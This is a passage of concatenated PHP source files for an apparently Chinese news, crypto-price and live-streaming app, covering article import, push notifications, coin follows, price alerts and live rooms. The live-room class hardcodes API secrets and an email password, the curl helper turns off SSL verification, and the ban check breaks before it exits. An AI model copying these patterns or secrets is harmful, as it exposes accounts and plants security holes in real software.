$userData['img']=$this->qiniu($userInfo['image']);

$userData['nickname']=$userInfo['nickname'];

$userData['qianming']=$userInfo['qianming'];

$uid=$this->user($userData);

}

$data['uid'] = $uid;

}else{

echo "用户ID不存在".$v['id'];

continue;

}

if(!empty($v['image'])){

$data['image'] = $this->qiniu($v['image']);

}

if($v['mychannel']==1){

if(empty($v['content'])){

echo "content文章模式详细内容不存在".$v['id'];

continue;

}

$data['content'] = $v['content'];

}else if($v['mychannel']==2){

$images=[];

foreach ($v['images'] as $ka => $va) {

$img=$this->qiniu($va);

$images[]=$img;

if($k==1){

$data['image']=$img;

}

}

$data['images']=json\_encode($images);

$data['images']=str\_replace('"','&quot;',$data['images']);

}else if($v['mychannel']==3){

if(empty($v['video'])){

echo "视频地址不存在".$v['id'];

continue;

}

$data['video']=$this->qiniu($v['video'],'.mp4');

}

$data['title'] = $v['title'];

$data['dtitle'] = $v['dtitle'];

$data['description'] = $v['description'];

$data['create\_time'] = $v['time'];

$data['update\_time'] = $v['time'];

$data['hide'] = 1;

$data['des'] = 50;

$data['mychannel'] = $v['mychannel'];

$data['toutiao\_tiemId'] = $v['id'];

$data['weitoutiao'] = 0;

$data['flags'] = 2;

if(!empty($v['typeid'])){

$data['typeid'] = $this->catename($v['typeid']);

}else{

$data['typeid']='news';

}

if($v['mychannel'] == 3){

$data['video'] = $this->qiniu($v['video'],'.mp4');

}

$id=Db::name('article')->insertGetId($data);

echo 'id:'.$id.$data['dtitle'] ? $data['dtitle'] : $data['title']."[发布成功]";

$this->toutiao\_ping($id,$v['id'],$v['id']);

$tiao ++;

}

}

private function typeid($name='news\_edu'){

if(!$name){

return false;

}

$url = 'toutiao/category';

$html = $this->get($url,true);

if(!empty($html['data']) && count($html['data']['data'])){

return $html['data']['data'];

}else{

return false;

}

}

private function html($url,$method='GET',$body=''){

$config = config()['apicloud'];

$now = time();

$httpheader = array(

"X-APICloud-AppId: ".$config['appid'],

"X-APICloud-AppKey: ".sha1($config['appid']."UZ".$config['appkey']."UZ".$now).".".$now

);

$curl=curl\_init();

curl\_setopt($curl, CURLOPT\_URL, $url);

curl\_setopt($curl, CURLOPT\_CUSTOMREQUEST, $method);

curl\_setopt($curl, CURLOPT\_HTTPHEADER , array("X-HTTP-Method-Override: $method"));

curl\_setopt($curl, CURLOPT\_HTTPHEADER , $httpheader);

curl\_setopt($curl, CURLOPT\_SSL\_VERIFYPEER, 0);

curl\_setopt($curl, CURLOPT\_SSL\_VERIFYHOST, 0);

curl\_setopt($curl, CURLOPT\_USERAGENT, $\_SERVER['HTTP\_USER\_AGENT']);

curl\_setopt($curl, CURLOPT\_AUTOREFERER, 1);

curl\_setopt($curl, CURLOPT\_POSTFIELDS, $body);

curl\_setopt($curl, CURLOPT\_TIMEOUT, 30);

curl\_setopt($curl, CURLOPT\_HEADER, 0);

curl\_setopt($curl, CURLOPT\_RETURNTRANSFER, 1);

$totalline = curl\_exec($curl);

if (curl\_errno($curl)) {

return 'Errno'.curl\_error($curl);

}

curl\_close($curl);

return $totalline;

}

private function \_content($a){

$a = strip\_tags($a);

return $a;

}

public function push(){

$config = config()['apicloud'];

if(!$config['push'] || $config['push'] == 0){

return;

}

$where['hide'] = 1;

$where['title'] = ['<>',''];

$where['weitoutiao']= 0;

$where['mychannel'] = ['in','1,2,3'];

$config['push\_time'] = empty($config['push\_time']) ? 0 : $config['push\_time'];

$time=date('Y-m-d' , strtotime("-".$config['push\_time']." day"));

$where['create\_time'] = $aidwhere['time'] = ['> time',$time];

$aidwhere['aid'] = ['<>',''];

if($config['redian']){

$where['flags'] = 2;

}

$aid = Db::name('push')->where($aidwhere)->field('aid')->order('id desc')->select();

foreach ($aid as $k => $v) {

$aida[] = $v['aid'];

}

if($aid){

$where['id'] = ['not in',$aida];

}

$post = Db::name('article')->where($where)->field('id,title,description,mychannel,create\_time,content,video')->order('rand()')->find();

$post['content'] = $post['description'] ? $post['description'] : $this->\_content($post['content']);

$config = config()['apicloud'];

$client = new JPush($config['app\_key'], $config['master\_secret']);

try {

$response = $client->push();

$response->setPlatform(['ios','android']);

$response->addAllAudience();

$response->androidNotification($post['content'], array(

'title' => $post['title'],

'extras' => [

'mychannel' => $post['mychannel'],

'id' => $post['id'],

'video' => \_imgUrl().$post['video'],

],

));

$response->iosNotification($post['title'], array(

'extras' => [

'mychannel' => $post['mychannel'],

'id' => $post['id'],

'video' => \_imgUrl().$post['video'],

],

));

$response->options(['apns\_production'=>true]);

$url = $response->send();

if(!empty($url['http\_code']) && $url['http\_code'] == 200){

$data['time'] = time();

$data['aid'] = $post['id'];

$data['type'] = 2;

$data['platform'] = 0;

Db::name('push')->insert($data);

return json(['(id:'.$post['id'].')'.$post['title'].'|msg\_id:'.$url['body']['msg\_id'].'|推送成功']);

}else{

return json($url);

}

} catch (\JPush\Exceptions\APIConnectionException $e) {

return json($e);

} catch (\JPush\Exceptions\APIRequestException $e) {

return json($e);

}

return;

$url = $this->html('https:

$url = json\_decode($url,true);

dump($url);

if($url['status'] == 1){

$data['time'] = time();

$data['aid'] = $post['id'];

Db::name('push')->insert($data);

return json(['ret'=>'推送成功，5分钟内生效']);

}else{

return json(['err'=>'推送失败！']);

}

}

}

<?php

namespace app\api\controller;

use app\api\controller\Common;

use think\Db;

use think\Session;

use think\Request;

use think\Validate;

use Qiniu\Auth as Auth;

use Qiniu\Storage\UploadManager;

set\_time\_limit(0);

class Coinfollow extends Common

{

protected $member = false;

protected $memberId = false;

/\*\*

\* 架构函数

\*

\* @param Request $request Request对象

\*

\* @access public

\*/

public function \_\_construct(Request $request = null)

{

parent::\_\_construct($request);

$token = input('param.token', '');

if ($token != '') {

$member\_id = \_decrypt($token);

if ($member\_id) {

$this->memberId = $member\_id;

$member = \_user($member\_id);

if ($member) {

switch ($member['hide']) {

case '0':

$recording = \_records($member['id'], 'API操作,账户被禁止');

if ($recording) {

exit(json\_encode([

'err' => '无法登录，原因是当前账户已被封号',

'errcode' => 223,

]));

}

break;

case '2':

$recording = \_records($member['id'], 'API操作,账户正在审核');

if ($recording) {

exit(json\_encode([

'err' => '当前账户正在审核中，请等待客服处理',

'errcode' => 224,

]));

}

break;

case '3':

$recording = \_records($member['id'], 'API操作，账户审核被拒绝');

if ($recording) {

exit(json\_encode([

'err' => '账户审核被拒绝，拒绝原因：' . $member['hidetent'],

'errcode' => 225,

]));

}

break;

}

} else {

exit(json\_encode([

'err' => '该用户不存在',

'errcode' => 221,

]));

}

$this->member = $member;

} else {

exit(json\_encode([

'err' => 'Token不正确，请重新获取Token',

'errcode' => 222,

]));

}

} else {

exit(json\_encode([

'err' => 'Token不可为空',

'errcode' => 222,

]));

}

}

public function index()

{

exit(json\_encode(\_ajaxError()));

}

/\*\*

\* @api {post} /api/coinfollow/lists 获取用户关注虚拟币列表

\* @apiName 获取用户关注虚拟币列表

\* @apiGroup 行情

\* @apiVersion 0.1.0

\* @apiUse MyPages

\* @apiParam {String} token Token必填

\* @apiParam {String} exchange 交易所id

\* @apiParam {String} quote 报价货币，必填，建议使用USDT

\* @apiSuccess {Object} data 实时行情

\* @apiSuccess {String} data.exchange 交易所

\* @apiSuccess {String} data.symbol 交易对

\* @apiSuccess {String} data.update\_time 时间日期，格式毫秒时间戳

\* @apiSuccess {String} data.last\_price 最新价格

\* @apiSuccess {String} data.change 24小时价格变动

\* @apiSuccess {Number} data.percentage 24小时价格变动百分比

\* @apiSuccess {Number} data.base\_volume 24小时内基准货币交易量

\* @apiSuccess {Number} data.quote\_volume 24小时内报价货币交易量

\* @apiSuccess {Number} data.icon 虚拟币图标

\* @apiSuccess {Number} data.currency 虚拟币名称

\*/

public function lists()

{

$validate = validate('Page');

if(!$validate->check(input('post.'))){

return json(['err' => $validate->getError()]);

}

$pages = input('param.pages');

$quote = input('param.quote', 'USDT');

$member = \_user($this->memberId);

$follows\_where['member\_id'] = $member['id'];

$follows=Db::name('member\_coin')->order('create\_time desc')->where($follows\_where)->paginate($pages)->toarray();

if(empty($follows['data']))

return json($follows);

$coins\_where['id'] = ['in', array\_column($follows['data'], 'coin\_id')];

$coins=Db::name('coin')->where($coins\_where)->select();

$attach\_coin=function($follow) use ($coins) {

$index=array\_search($follow['coin\_id'], array\_column($coins, 'id'));

if(false===$index)

return $follow;

else

return $follow + $coins[$index];

};

$follows['data']=array\_map($attach\_coin, $follows['data']);

$arr = array\_column($coins, 'currency');

$symbol\_merge = function ($base) use ($quote) {

return "$base/$quote";

};

$symbol = array\_map($symbol\_merge, $arr);

$pre\_query=Db::name('ticker')->field('batch\_no')->order('ticker\_timestamp desc')->limit(1)->find();

#$ticker\_where['exchange'] = $id;

$ticker\_where['symbol'] = ['in', $symbol];

$ticker\_where['batch\_no'] = $pre\_query['batch\_no'];

$tickers=Db::name('ticker')->order('ticker\_timestamp desc')->where($ticker\_where)->select();

$attach\_icon=function($coin){

$coin['icon']= config()['appConfig']['prod\_url'].'/public/coin/icon/' . strtolower($coin['currency']) . '@2x.png';

return $coin;

};

$follows['data']=array\_map($attach\_icon, $follows['data']);

$attach\_ticker=function($coin) use ($tickers, $quote) {

$symbol=$coin['currency'] . '/' .$quote;

$ticker=array\_search($symbol, array\_column($tickers, 'symbol'));

if(false===$ticker)

return $coin + ['symbol'=>$symbol, 'last\_price'=>0, 'change'=>0, 'percentage'=>0, 'base\_volume'=>0];

else

return $coin + $tickers[$ticker];

};

$follows['data']=array\_map($attach\_ticker, $follows['data']);

return json($follows);

}

/\*\*

\* @api {post} /api/coinfollow/follow 会员关注虚拟币

\* @apiName 会员关注虚拟币

\* @apiGroup 行情

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（必填）

\* @apiParam {Number} coin\_id 虚拟币id

\*/

public function follow()

{

#$coin\_id=input('param.coin\_id') ? input('param.coin\_id') : '';

$coin = Db::name('coin')->where('id', input('param.coin\_id'))->find();

if ($coin) {

$member = \_user($this->memberId);

$ret = Db::name('member\_coin')->where('member\_id', $member['id'])->where('coin\_id', $coin['id'])->find();

if (!$ret) {

$member\_coin = ['member\_id' => $member['id'], 'coin\_id' => $coin['id'], 'create\_time' => time()];

Db::name('member\_coin')->insert($member\_coin);

Db::name('coin')->where('id', $coin['id'])->setInc('follow\_num', 1);

}

$data = ['ret' => '关注成功'];

} else {

$data = ['err' => '未找到虚拟币'];

}

return json($data);

}

/\*\*

\* @api {post} /api/coinfollow/unfollow 会员取消关注虚拟币

\* @apiName 会员取消关注虚拟币

\* @apiGroup 行情

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（必填）

\* @apiParam {Number} coin\_id 虚拟币id

\* @apiSuccess {String} ret 取消关注成功

\* @apiError {String} err 错误消息

\*/

public function unfollow()

{

$coin\_id = input('param.coin\_id') ? input('param.coin\_id') : '';

if ($coin\_id) {

$member = \_user($this->memberId);

$ret = Db::name('member\_coin')->where('member\_id', $member['id'])->where('coin\_id', $coin\_id)->delete();

if ($ret) {

Db::name('coin')->where('id', $coin\_id)->setDec('follow\_num', 1);

}

$data = ['ret' => '取消关注成功'];

} else {

$data = ['err' => '缺少参数'];

}

return json($data);

}

/\*\*

\* @api {post} /api/coinfollow/recommend 推荐会员关注虚拟币列表

\* @apiName 推荐会员关注虚拟币列表

\* @apiGroup 行情

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（必填）

\* @apiSuccess {Object} data 推荐列表

\* @apiSuccess {Number} data.id 虚拟币id

\* @apiSuccess {String} data.currency 虚拟币

\* @apiSuccess {String} data.fullname 虚拟币全称

\* @apiSuccess {String} data.fullname\_zh 虚拟币中文全称

\* @apiSuccess {String} data.follow\_num 虚拟币关注人数

\*/

public function recommend()

{

$push = Db::name('coin')->order('follow\_num asc')->limit(10)->field('id,currency,fullname,fullname\_zh,follow\_num')->select();

if($push){

foreach($push as &$p)

{

$p['icon'] = '/public/coin/icon/' . strtolower($p['currency']) . '@2x.png';

}

return json($push);

}

return json(['err' => '当前没有可推荐的虚拟币']);

}

/\*\*

\* @api {post} /api/coinfollow/alert 设置价格提醒

\* @apiName 设置价格提醒

\* @apiGroup 行情

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（必填）

\* @apiParam {String} exchange 交易所

\* @apiParam {String} symbol 交易对

\* @apiParam {Number} alert1 高价提醒

\* @apiParam {Number} alert2 低价提醒

\* @apiSuccess {String} ret 成功信息

\*/

public function alert()

{

$validate = validate('Coinfollow');

if(!$validate->check(input('post.'))){

return json(['err' => $validate->getError()]);

}

$alert['member\_id']=$this->memberId;

$alert['exchange']=input('post.exchange', 'binance','org\Filter::safeHtml');

$alert['symbol']=input('post.symbol');

$alert['handle']=0;

$alert['member\_id']=$this->member['id'];

$price1=input('post.alert1');

$price2=input('post.alert2');

$set\_alert=function ($alert){

return db('symbol\_alert')->insert($alert);

};

if($price1)

{

$alert['price']=$price1;

$ret=$set\_alert($alert);

}

if($price2)

{

$alert['price']=$price2;

$ret=$set\_alert($alert);

}

return json(['ret' => '设置成功']);

}

/\*\*

\* @api {post} /api/coinfollow/remarks 备注

\* @apiName 备注

\* @apiGroup 行情

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（必填）

\* @apiParam {String} base 虚拟币

\* @apiParam {String} content 备注

\* @apiSuccess {Object} data 不传content字段，如果用户设置了备注，返回备注，没设置备注返回err；传content字段，会新建和更新备注，返回用户最新备注；

\* @apiSuccess {Number} data.id 备注id

\* @apiSuccess {Number} data.member\_id 用户id

\* @apiSuccess {String} data.base 虚拟币

\* @apiSuccess {String} data.content 备注

\*/

public function remarks()

{

$validate = validate('Remarks');

if(!$validate->check(input('post.'))){

return json(['err' => $validate->getError()]);

}

$where['member\_id']=$this->memberId;

$where['base']=input('post.base');

$content=input('post.content');

$remarks=Db::name('remarks')->where($where)->find();

if($content){

if($remarks){

$remarks['content']=$content;

Db::name('remarks')->where($where)->update($remarks);

}else{

$remarks=$where;

$remarks['content']=$content;

Db::name('remarks')->insert($remarks);

}

return json(Db::name('remarks')->where($where)->find());

}else{

if($remarks)

return json($remarks);

else

return json(['err'=>'未找到备注']);

}

}

}

<?php

namespace app\api\controller;

use app\api\controller\Common;

use think\Db;

use think\Session;

use think\Validate;

class Zhibo extends Common

{

public $member = null;

private $url = 'https:

private $AppId = '2614';

private $appBiaozhi = 'd1329b71ac2e4bf2b50e63b8b07eaa4b';

private $accessSecret = 'f5e4337125134d628a8868954d268e0c';

private $AppKey = 'f43d25394e37458ab3694d4f90a78d47';

public function \_\_construct($tokenaaa=''){

parent::\_\_construct();

$config=Db::name('member\_config')->where('name','switch')->value('text');

unset($data);

if(!$config || $config==0){

exit(json\_encode(['err'=>'会员未开放']));

}

$token=Session::get('user','ffxiangUser') ? Session::get('user','ffxiangUser') : input('post.token');

if(!$token){

if($tokenaaa){

$token=$tokenaaa;

}else{

echo json\_encode(['err'=>'token不正确']);

exit();

}

}

$uid=\_decrypt($token);

if(!$uid){

echo json\_encode(['err'=>'会员UID不正确，请重新获取token']);

exit();

}

$member=\_user($uid);

if($member){

switch ($member['hide']) {

case '0':

$recording=\_records($member['id'],'API操作,账户被禁止');

if($recording){

$data=['err'=>'无法登录，原因是账户已被封号'];

}

echo json\_encode($data);

break;

exit();

case '2':

$recording=\_records($member['id'],'API操作,账户正在审核');

if($recording){

$data=['err'=>'账户正在审核，请等待客服处理'];

}

echo json\_encode($data);

break;

exit();

case '3':

$recording=\_records($member['id'],'API操作，账户审核被拒绝');

if($recording){

$data=['err'=>'账户审核被拒绝，拒绝原因：'.$member['hidetent']];

}

echo json\_encode($data);

break;

exit();

}

}else{

echo json\_encode(['err'=>'会员不存在']);

exit();

}

$this->member=$member;

}

private function post($url, $post\_data,$token=null) {

if($token){

$options = array(

'http' => array(

'method' => 'POST',

'header' => ['Content-type:application/json','Authorization:'.$token],

'content' => json\_encode($post\_data),

'timeout' => 15 \* 60

)

);

}else{

$options = array(

'http' => array(

'method' => 'POST',

'header' => 'Content-type:application/json',

'content' => json\_encode($post\_data),

'timeout' => 15 \* 60

)

);

}

$context = stream\_context\_create($options);

$result = file\_get\_contents($this->url.$url, false, $context);

return json\_decode($result,true);

}

private function AccessToken(){

$username = "1424445608@qq.com";

$password = "waini12";

$post\_data = array(

"scope" => "app",

"username" => $username,

"password" => $password,

);

$result = $this->post('AccessToken', $post\_data);

return $result['accessToken'];

$roomId = "22001331";

$password = "p1cU2G";

$post\_data = array(

"scope"=> "room",

"roomId" => $roomId,

"password" => $password,

"secretKey" => md5($roomId.$password.$this->accessSecret),

"nickName" => "张三",

"account" => ""

);

$result = $this->post('AccessToken', $post\_data);

dump($result);

}

public function GetRooms($a=[]){

$data = [

"type" => !empty($a['type']) ? $a['type'] : 0,

"index" => !empty($a['type']) ? $a['index'] : 0,

"count" => !empty($a['type']) ? $a['count'] : 10

];

$data = array\_merge($data,$a);

$res = $this->post('GetRooms',$data,$this->AccessToken());

if($res['status'] == '200'){

return json\_encode(['ret'=>$res]);

}else{

return json\_encode(['err'=>$res,'msg'=>$this->msg($res['status'])]);

}

}

public function CreateRoom($post=[]){

$db = Db::name('member\_zhibo')->where(['uid'=>$this->member['id']])->find();

if(!$post){

$post = input('post.');

if(!$post){

return json\_encode(['err'=>'data字段不能为空','msg'=>'data字段不能为空']);

}else{

if($db){

$add['roomId'] = $db['roomId'];

$add['roomName'] = $post['roomName'];

$add['type\_id'] = $post['type\_id'];

$add['img\_l'] = $post['img\_l'];

$add['img\_r'] = $post['img\_r'];

$list = json\_decode($this->ModifyRoom($add),true);

if(!empty($list['ret'])){

return json(['ret'=>$db]);

}else{

return json(['msg'=>$list]);

}

return json\_encode(['ret'=>$list]);

}

}

}else{

if($db){

return json\_encode(['err'=>'该用户直播已存在','msg'=>'该用户直播已存在']);

}

}

$validate = new Validate(['roomName' => 'require|max:100|length:3,100', 'type\_id' => 'number|require', 'img\_l' => 'require','img\_r' => 'require']);

if (!$validate->check($post)) {

exit(json\_encode(['err' => $validate->getError() ]));;

}

$data['roomName'] = $post['roomName'];

$data['anchorPwd'] = !empty($post['anchorPwd']) ? $post['anchorPwd'] : $this->member['id'].rand(100000,9999999);

$data['assistPwd'] = !empty($post['assistPwd']) ? $post['assistPwd'] : $this->member['id'].rand(100000,9999999);

$data['userPwd'] = !empty($post['userPwd']) ? $post['userPwd'] : $this->member['id'].rand(100000,9999999);

$data['creator'] = '';

$data['maxOnlineNum']= 0;

$data['anchorDesc'] = '';

$data['contentDesc']= '';

$data['thirdRoomId']= '';

$type\_1 = Db::name('member\_zhibo\_type')->cache(true)->find($post['type\_id']);

$type\_2 = Db::name('member\_zhibo\_type')->cache(true)->find($type\_1['tid']);

$data['firstIndustry']= $type\_2['title'];

$data['secondIndustry']= $type\_1['title'];

$res = $this->post('CreateRoom',$data,$this->AccessToken());

$time = time();

if($res['status'] == '200'){

$res = $res['entity'];

$add['roomName'] = $res['roomName'];

$add['anchorPwd'] = $res['anchorPwd'];

$add['assistPwd'] = $res['assistPwd'];

$add['userPwd'] = $res['userPwd'];

$add['anchorDesc'] = $res['anchorDesc'];

$add['contentDesc'] = $res['contentDesc'];

$add['creator'] = $res['creator'];

$add['maxOnlineNum'] = $res['maxOnlineNum'];

$add['firstIndustry'] = $res['firstIndustry'];

$add['secondIndustry'] = $res['secondIndustry'];

$add['roomId'] = $res['roomId'];

$add['create\_time'] = $time;

$add['update\_time'] = $time;

$add['img\_l'] = $post['img\_l'];

$add['img\_r'] = $post['img\_r'];

$add['uid'] = $this->member['id'];

$add['type\_id'] = $post['type\_id'];

$add['des'] = 50;

Db::name('member\_zhibo')->insert($add);

return json\_encode(['ret'=>$res]);

}else{

return json\_encode(['err'=>$res,'msg'=>$this->msg($res['status'])]);

}

}

public function typename(){

$data = Db::name('member\_zhibo\_type')->where('tid',0)->order('des desc')->cache(true)->select();

foreach ($data as $k => $v) {

$data[$k]['data'] = Db::name('member\_zhibo\_type')->where('tid',$v['id'])->order('des desc')->cache(true)->select();

}

return json\_encode($data);

}

public function DelRoom($id){

$data = [

'roomId' => $id

];

$res = $this->post('DelRoom',$data,$this->AccessToken());

if($res['status'] == '200'){

return json\_encode(['ret'=>$res]);

}else{

return json\_encode(['err'=>$res,'msg'=>$this->msg($res['status'])]);

}

}

public function GetRoomsLiveInfo($ids){

$data = [

'roomIds' => $ids

];

$res = $this->post('GetRoomsLiveInfo',$data,$this->AccessToken());

if($res['status'] == '200'){

return json\_encode(['ret'=>$res]);

}else{

return json\_encode(['err'=>$res,'msg'=>$this->msg($res['status'])]);

}

}

public function GetClientUrls($id){

$data = [

'roomId' => $id

];

$res = $this->post('GetClientUrls',$data,$this->AccessToken());

if($res['status'] == '200'){

return json\_encode(['ret'=>$res]);

}else{

return json\_encode(['err'=>$res,'msg'=>$this->msg($res['status'])]);

}

}

public function GetRoom($id){

$data = [

'roomId' => $id

];

$res = $this->post('GetRoom',$data,$this->AccessToken());

if($res['status'] == '200'){

return json\_encode(['ret'=>$res]);

}else{

return json\_encode(['err'=>$res,'msg'=>$this->msg($res['status'])]);

}

}

public function ModifyRoom($post){

if(!$post){

return json\_encode(['err'=>'data字段不能为空']);

}

if(!$post['roomId']){

return json\_encode(['err'=>'roomId房间号ID不能为空']);

}

$validate = new Validate(['roomName' => 'require|max:100|length:3,100', 'type\_id' => 'number|require', 'img\_l' => 'require','img\_r' => 'require']);

if (!$validate->check($post)) {

exit(json\_encode(['err' => $validate->getError() ]));;

}

$type\_1 = Db::name('member\_zhibo\_type')->cache(true)->find($post['type\_id']);

$type\_2 = Db::name('member\_zhibo\_type')->cache(true)->find($type\_1['tid']);

$post['firstIndustry']= $type\_2['title'];

$post['secondIndustry']= $type\_1['title'];

$res = $this->post('ModifyRoom',$post,$this->AccessToken());

$time = time();

if($res['status'] == '200'){

$post['update\_time'] = time();

$a = Db::name('member\_zhibo')->where(['roomId'=>$post['roomId'],'uid'=>$this->member['id']])->update($post);

if(!$a){

return json\_encode(['err'=>$res,'msg'=>'member\_zhibo表修改数据失败，用户ID'.$this->member['uid']]);

}

return json\_encode(['ret'=>$res]);

}else{

return json\_encode(['err'=>$res,'msg'=>$this->msg($res['status'])]);

}

}

public function info(){

$db = Db::name('member\_zhibo')->where(['uid'=>$this->member['id']])->find();

if($db){

$type = Db::name('member\_zhibo\_type')->cache(true)->find($db['type\_id']);

if($type){

$db['type\_title'] = $type['title'];

}

return json(['ret'=>$db]);

}else{

return json(['err'=>'']);

}

}

private function msg($id){

$text = '';

switch ($id) {

case 200:

$text = '调用成功';

break;

case 401:

$text = '认证失败.无效的token';

break;

case 417:

$text = '接口超过每天room最大访问次数';

break;

case 419:

$text = '接口超过每天app最大访问次数';

break;

case 420:

$text = '没有权限访问此资源';

break;

case 1001:

$text = '无效的录播id';

break;

case 1003:

$text = '无效的录播时间,三天前的录播不能生成';

break;

case 1005:

$text = '无效的开始录播时间,开始时间不能在最后一次调用时间之前';

break;

case 2001:

$text = '无效的主播室ID';

break;

case 2002:

$text = '主播室不存在';

break;

case 2003:

$text = 'room password 重复';

break;

case 2004:

$text = 'room password 非法';

break;

case 2005:

$text = 'roomName非法';

break;

case 2007:

$text = '聊天室id为空';

break;

case 2008:

$text = 'thirdRoomId已存在';

break;

case 2009:

$text = '人数已满';

break;

case 20010:

$text = '控制房间流状态失败';

break;

case 20011:

$text = '房间数超过上限,用户没有认证时会有该限制';

break;

case 20013:

$text = '没有直播回看';

break;

case 3001:

$text = '用户账户已过期';

break;

case 3003:

$text = '暂停服务';

break;

case 3004:

$text = 'appkey不存在';

break;

case 3005:

$text = '旧密码错误,修改密码时要做旧密码验证';

break;

case 3006:

$text = '域名没有cname,自有域名绑定时要检查域名是否cname';

break;

case 4001:

$text = '附件重复';

break;

case 5002:

$text = '点播视频上传失败';

break;

case 8001:

$text = '图片上传失败';

break;

case 8003:

$text = '房间分享图片上传失败';

break;

case 8005:

$text = '房间封面图片上传失败';

break;

case 8007:

$text = '主播室水印图片上传失败';

case 9001:

$text = '直播记录id为空';

break;

case 9002:

$text = '无效的直播记录id';

case 13001:

$text = '时间格式错误';

break;

case 14001:

$text = '导出文件上传文件服务器失败';

case 14002:

$text = '导出文件生成中';

break;

case 15001:

$text = '上传礼品图片失败';

case 15002:

$text = '无效的礼品id / 删除礼品图片失败';

break;

default:

$text = '';

break;

}

return '码：'.$id.', '.$text;

}

public function liwu\_money(){

$id = input('id/d');

$uid\_zhu = input('uid\_zhu/d');

if(!$id){

return json(['err'=>'id错误']);

}

if(!$uid\_zhu){

return json(['err'=>'主播id错误2']);

}

if($uid\_zhu == $this->member['id']){

return json(['err'=>'不能给自己送礼物']);

}

$member\_zhibo\_liwu = Db::name('member\_zhibo\_liwu')->cache(true)->find($id);

if(!$member\_zhibo\_liwu){

return json(['err'=>'id礼物已被删除，请重新打开APP']);

}

if(!$this->member['zhibo\_zuan'] || $this->member['zhibo\_zuan'] < $member\_zhibo\_liwu['money']){

return json(['err'=>'钻石不足']);

}

Db::name('member')->where('id', $this->member['id'])->setDec('zhibo\_zuan', $member\_zhibo\_liwu['money']);

Db::name('member')->where('id', $uid\_zhu)->setInc('zhibo\_zuan', $member\_zhibo\_liwu['money']);

$map['uid'] = $this->member['id'];

$map['uid\_zhu'] = $uid\_zhu;

$map['money'] = $member\_zhibo\_liwu['money'];

$map['liwu\_id'] = $id;

$map['time'] = time();

$db = Db::name('member\_zhibo\_liwu\_list')->insertGetId($map);

if($db){

return json(['ret'=>$db,'money'=>$map['money']]);

}else{

return json(['err'=>'礼物发送失败']);

}

}

public function phb(){

$type = input('type/d') ? input('type/d') : 1;

$uid = input('uid/d') ? input('uid/d') : 0;

if(!$uid){

return json(['err'=>'uid参数错误']);

}

$join = [

['\_\_MEMBER\_\_ b','a.uid = b.id'],

];

$date = '';

if($type == 1){

$date = 'd';

}else if($type == 2){

$date = 'w';

}else if($type == 3){

$date = 'm';

}else{

$date = '';

}

$where['uid\_zhu'] = $uid;

if($date){

$data = Db::name('member\_zhibo\_liwu\_list')->alias('a')->join($join)->where($where)->whereTime('time',$date)->field('sum(a.money) as money\_num,b.id,b.nickname,b.mobile,b.img')->group('a.uid')->order('money\_num desc')->limit(50)->select();

}else{

$data = Db::name('member\_zhibo\_liwu\_list')->alias('a')->join($join)->where($where)->field('sum(a.money) as money\_num,b.id,b.nickname,b.mobile,b.img')->group('a.uid')->order('money\_num desc')->limit(50)->select();

}

foreach ($data as $k => $v) {

if(!$v['nickname']){

$data[$k]['nickname'] = \_username($v);

}

}

return json($data);

}

}

<?php

use think\Db;

function \_ajaxError($text=''){

return $text;

}

function getImageInfo($img)

{

$img\_info = getimagesize($img);

switch ($img\_info[2]) {

case 1:

$imgtype = "GIF";

break;

case 2:

$imgtype = "JPG";

break;

case 3:

$imgtype = "PNG";

break;

}

$img\_type = $imgtype . "图像";

$img\_size = ceil(filesize($img) / 1000) . "k";

$new\_img\_info = array(

"width" => $img\_info[0],

"height" => $img\_info[1],

"type" => $img\_type,

"size" => $img\_size

);

print " width";

print $img\_info[0];

print " height";

print $img\_info[1];

print " format";

print $img\_type;

print " size";

print $img\_size;

print $new\_img\_info;

}

function \_imgHouZhui($img){

$img=strstr($img,'.');

if(!$img){

return false;

}else{

if($img=='.gif'){

return false;

}

}

return true;

}

function \_yaoqing($uid,$s1){

if(!$uid || !$s1){

return;

}

$s1=Db::name('yaoqing')->where(['uid'=>$s1])->value('uid');

if(!$s1){

return;

}

$time=time();

Db::name('yaoqing')->insert(['uid'=>$uid,'s1'=>$s1]);

Db::name('yaoqing')->where('uid',$s1)->setInc('tudi\_num');

$yaoqing=config()['yaoqing'];

if($yaoqing['money\_yaoqing']){

\_moneyDb([

'uid' => $uid,

'money' =>[

'money' => $yaoqing['money\_yaoqing']\*100,

'content' => '邀请码注册'

]

]);

}

if($yaoqing['money\_yaoqing\_s1']){

\_moneyDb([

'uid' => $s1,

'money' =>[

'money' => $yaoqing['money\_yaoqing\_s1']\*100,

'content' => 'id:'.$uid.'成功邀请徒弟',

]

]);

}

return;

if(!$uid || !$s1){

return;

}

$yaoqing=config()['yaoqing'];

if($yaoqing['money\_yaoqing']){

$where['money']=$yaoqing['money\_yaoqing']\*100;

}

$where['uid']=$uid;

$where['s1']=$s1;

$db=Db::nane('yaoqing')->insert(['uid'=>$uid,'s1'=>$s1,'money'=>0]);

if($db){

Db::name('yaoqing')->where('uid',$uid)->setInc('tudi\_num');

}

return $db;

}

function \_moban(){

return 'toutiao';

}<?php

namespace app\api\validate;

use think\Validate;

class Coin extends Validate

{

protected $rule = [

['coin','require','虚拟币字段必填'],

];

}

<?php

namespace app\api\validate;

use think\Validate;

class Page extends Validate

{

protected $rule = [

'token|Token' => 'max:128',

'pages|每页记录条数' => 'number|between:1,100',

'page|页数' => 'number|gt:0',

];

}

<?php

namespace app\api\validate;

use think\Validate;

class Market extends Validate

{

protected $rule = [

['exchange','require','交易所id必填'],

];

}

<?php

namespace app\api\validate;

use think\Validate;

class Remarks extends Validate

{

protected $rule = [

['token','require','请先登录'],

['base','require','虚拟币为必填']

];

}

<?php

namespace app\api\validate;

use think\Validate;

class Circle extends Validate

{

protected $rule = [

'title|社区名称' => 'require|max:30',

'type\_id|社区分类ID' => 'require|number',

'img|社区图标' => 'require|url',

'content|描述说明' => 'require|max:100',

];

}

<?php

namespace app\api\validate;

use think\Validate;

class Coinfollow extends Validate

{

protected $rule = [

['token','require','请先登录'],

['symbol','require','交易对必填'],

['alert1','float','价格格式错误'],

['alert2','float','价格格式错误'],

];

}

<?php

namespace app\api\model;

use think\Validate;

use think\Db;

use think\Loader;

class Send extends \think\Model

{

public function sms($data=[])

{

$validate = new Validate([

['param','require|array','参数必填|参数必须为数组'],

['mobile','require|/1\d{10}$/','手机号错误|手机号错误'],

